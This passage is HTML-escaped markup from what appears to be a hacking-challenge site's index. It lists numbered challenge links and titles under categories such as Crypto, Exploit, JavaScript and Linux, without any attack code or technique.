href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=15"&gt;4.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=15"&gt;Doh, where did my password go?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=13"&gt;5.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=13"&gt;Crunch me numbers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=14"&gt;6.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=14"&gt;Hash me baby&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;CrackIt&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=55"&gt;7.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=55"&gt;Easy starter package&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=56"&gt;8.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=56"&gt;Easy numbers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=57"&gt;9.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=57"&gt;Getting real&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=58"&gt;10.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=58"&gt;More number adding&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=61"&gt;11.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=61"&gt;Force me you brute&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=59"&gt;12.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=59"&gt;The Ups and Downs&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=60"&gt;13.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=60"&gt;Jumps to heaven&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=62"&gt;14.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=62"&gt;Basicly mean&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=63"&gt;15.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=63"&gt;TOW Plus One&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=64"&gt;16.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=64"&gt;A Spezial, hard one&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=65"&gt;17.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=65"&gt;Problem multiplier&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=66"&gt;18.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=66"&gt;Number all those strings&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=95"&gt;19.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=95"&gt;Obfuscator V2&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Crypto&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=22"&gt;20.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=22"&gt;Look at my rotation&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=23"&gt;21.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=23"&gt;Hide me in uni codes&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=24"&gt;22.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=24"&gt;Unicode goes four president&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=26"&gt;23.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=26"&gt;I am really compressed right now&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=27"&gt;24.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=27"&gt;Visual Crypto++&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=30"&gt;25.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=30"&gt;So where are we now?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=29"&gt;26.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=29"&gt;A disturbed character&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=28"&gt;27.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=28"&gt;To be xor not to be&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=25"&gt;28.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=25"&gt;Small reference, small block&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=78"&gt;29.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=78"&gt;Stale note selection of sqrt(128x200)&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=31"&gt;30.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=31"&gt;Transh4xor a book, poser&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Exploit&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=16"&gt;31.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=16"&gt;I said ONE cake&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=18"&gt;32.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=18"&gt;Make yourself comfortable&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=17"&gt;33.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=17"&gt;A query goes wild&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=19"&gt;34.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=19"&gt;Bite me and cook me!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=20"&gt;35.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=20"&gt;Must be crack in that pipe&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=21"&gt;36.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=21"&gt;Where do you wanna go today?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=93"&gt;37.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=93"&gt;I Am Nowhere&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=98"&gt;38.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=98"&gt;Have I Included everything?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Flash&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=97"&gt;39.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=97"&gt;Pong&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Internet&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=52"&gt;40.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=52"&gt;From Russia with love&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=53"&gt;41.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=53"&gt;My foreign AOL friend&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=54"&gt;42.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=54"&gt;Use the force, Luke&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;JavaScript&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=1"&gt;43.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=1"&gt;I am a JavaScript. Abuse me.&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=2"&gt;44.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=2"&gt;It's simple if you see it.&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=3"&gt;45.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=3"&gt;Don't look at me like this.&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=4"&gt;46.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=4"&gt;Sir, could you pop me?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=8"&gt;47.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=8"&gt;Now, what is that really?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=5"&gt;48.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=5"&gt;What you mean its not THAT easy?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=9"&gt;49.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=9"&gt;Jedi mindtricks.&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=0"&gt;50.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=0"&gt;Security through obscuration!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=7"&gt;51.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=7"&gt;Ok, finally it's secure. Or?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=6"&gt;52.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=6"&gt;Please don't let me forget it.&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=83"&gt;53.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=83"&gt;Amazing Code&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=84"&gt;54.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=84"&gt;Society matters&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=86"&gt;55.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=86"&gt;The password is regular!&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=89"&gt;56.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=89"&gt;The obfuscator&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=75"&gt;57.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=75"&gt;Patch the Elf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=77"&gt;58.&lt;/a&gt; &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengeintro&amp;amp;which=77"&gt;Interrupt Moi&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td colspan="1"&gt;&lt;br /&gt;&lt;b&gt;Logic&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="left"&gt;        &lt;a href="http://www.hackquest.com/modules.php?op=modload&amp;amp;name=HackQuest&amp;amp;file=challengestart&amp;amp;cid=40"&gt;59.&lt;/a&gt; &lt;a 